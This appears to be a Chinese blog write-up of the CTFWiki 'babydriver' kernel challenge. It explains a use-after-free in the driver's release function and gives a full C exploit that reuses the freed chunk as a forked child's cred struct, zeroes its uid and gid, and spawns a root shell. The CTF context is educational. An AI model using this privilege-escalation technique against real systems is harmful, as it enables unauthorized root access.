这名字我更熟
最终Kernel Pwn的目的都是提权 但是Kernel UAF
和普通用户态的UAF
的区别是 内核中往往不会利用堆块之间的链接等关系 来泄漏基地址 最后修改__malloc_hook
等之类的钩子来实现开shell 因为我们都已经拥有shell了 完全不需要以上这些操作
内核中往往是通过UAF造成堆块重叠
然后尝试fork
出来一个新进程 使刚刚释放的堆块可控 最后达到修改cred结构体
的目的
cred结构体
内部包含着进程的权限
cstruct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout;
只要我们将
uid
和gid
修改为0 即可实现提权到root
依然是选用CTFWiki上的题目作为例题 解压附件后是老三样boot.sh
bzImage
rootfs.cpio
首先我们要做的就是解压文件系统了
bashcpio -idv < ./rootfs.cpio
我们需要着重看的还是init
其中可以看出来加载了babydriver.ko
那么基本上漏洞就是在这里了
查个保护 发现没删符号表 十分舒适 直接上IDA
函数表依旧很清爽
先来看看babydriver_init()
有了之前编写驱动的基础 大致一扫就知道是注册设备那一套流程 没有什么大用
下来看看babyioctl()
当控制代码为0x10001
时 实现了free掉device_buf
然后根据用户的输入重新malloc一个device_buf
并且将大小存入到device_buf_len
中
接下来就是看看自定义函数了 首先来看看babyopen
函数实现了当打开设备时自动malloc一个0x40的堆块 存放到device_buf
babyread()
实现了将device_buf中的内容输出到用户空间
babywrite()
实现了将用户的输入存储到device_buf中
babyrelease()
实现了free掉device_buf
但是注意 此时没有清空结构体中的指针 造成了UAF漏洞
那么基本思路就有了 因为babydev_struct结构体
是个全局变量 当多次打开设备的时候 其实是共用一个结构体的 所以我们可以打开两次设备 然后修改device_buf
的大小为cred结构体大小
然后关闭设备 这样这个cred结构体大小的堆块
就会被free掉 然后我们fork
一个进程出来 这样这个进程会重新申请一个cred结构体
正好就是我们刚刚kfree掉的那个堆块
然后使用第一次打开的设备来修改cred结构体
实现提权
c#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp.c -o exp -static -masm=intel -g
size_t commit_creds;
size_t prepare_kernel_cred;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus()
{
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("Status has been saved...\n");
}
int main(void)
{
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8);
close(fd1);
int pid=fork();
if(pid<0)
{
puts("fork error...");
}
else if(pid==0)
{
// size_t
// read(fd2,)
char zero[30]={0};
write(fd2,zero,28);
if(getuid()==0)
{
system("/bin/sh");
return 0;
}
else
{
puts("cred error");
}
}
else
{
wait(NULL);
}
close(fd2);
return -1;
}
老样子 编译好丢进文件系统启动虚拟机即可
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!